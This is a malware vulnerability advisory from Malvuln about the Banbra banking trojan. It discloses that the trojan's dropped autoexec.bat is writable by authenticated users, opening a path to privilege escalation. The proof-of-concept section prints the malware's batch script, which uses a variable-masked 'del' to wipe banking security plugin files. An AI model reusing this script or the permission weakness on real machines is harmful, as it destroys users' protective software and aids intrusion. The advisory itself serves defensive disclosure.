Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/e0f2bee25dd103d92e91e895e313ec34.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Threat: Trojan-Banker.Win32.Banbra.cyt
Vulnerability: Insecure Permissions
Description: The malware writes a batch script ".bat" file to c drive granting change (C) permissions to the authenticated user group. Standard users can rename the executable dropped by the malware to disable it or replace it with their own executable. Then wait for a privileged user to logon to the infected machine to potentially escalate privileges.
Family: Banbra
Type: PE32
MD5: e0f2bee25dd103d92e91e895e313ec34
Vuln ID: MVID-2022-0611
Disclosure: 06/06/2022
Exploit/PoC:
C:\>cacls autoexec.bat
C:\autoexec.bat BUILTIN\Administrators:(ID)F
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Users:(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
C:\>type autoexec.bat
@echo off
SET princix=del
SET pasta1=c:\windows\downlo~1\gb*.*
SET pasta2=c:\windows\downlo~1\*.g??
SET pasta3=c:\windows\downlo~1\g*.*
SET pasta4=c:\arquiv~1\GbPlugin\g*.*
SET pasta5=c:\arquiv~1\GbPlugin\b*.*
SET pasta6=c:\arquiv~1\GbPlugin\c*.*
SET pasta55=c:\arquiv~1\GbPlugin\u*.*
SET pasta7=c:\windows\downlo~1\Ab*.*
SET pasta8=c:\windows\downlo~1\b*.*
SET pasta9=c:\windows\downlo~1\Ab*.*
SET pasta10=c:\progra~1\GbPlugin\g*.*
SET pasta11=c:\progra~1\GbPlugin\b*.*
SET pasta12=c:\progra~1\GbPlugin\c*.*
SET pasta56=c:\progra~1\GbPlugin\u*.*
SET pasta13=C:\progra~1\Scpad\s*.*
SET pasta14=c:\arquiv~1\Scpad\s*.*
SET pasta15=C:\WINDOWS\system32\scpsssh*.*
%princix% %pasta1%
%princix% %pasta2%
%princix% %pasta3%
%princix% %pasta4%
%princix% %pasta5%
%princix% %pasta6%
%princix% %pasta7%
%princix% %pasta8%
%princix% %pasta9%
%princix% %pasta10%
%princix% %pasta11%
%princix% %pasta12%
%princix% %pasta13%
%princix% %pasta14%
%princix% %pasta15%
%princix% %pasta55%
%princix% %pasta56%
C:\>
C:\>dir autoexec.bat
Volume in drive C has no label.
Directory of C:\
05/24/2022 02:26 AM 1,028 autoexec.bat
1 File(s) 1,028 bytes
0 Dir(s) 24,498,929,664 bytes free
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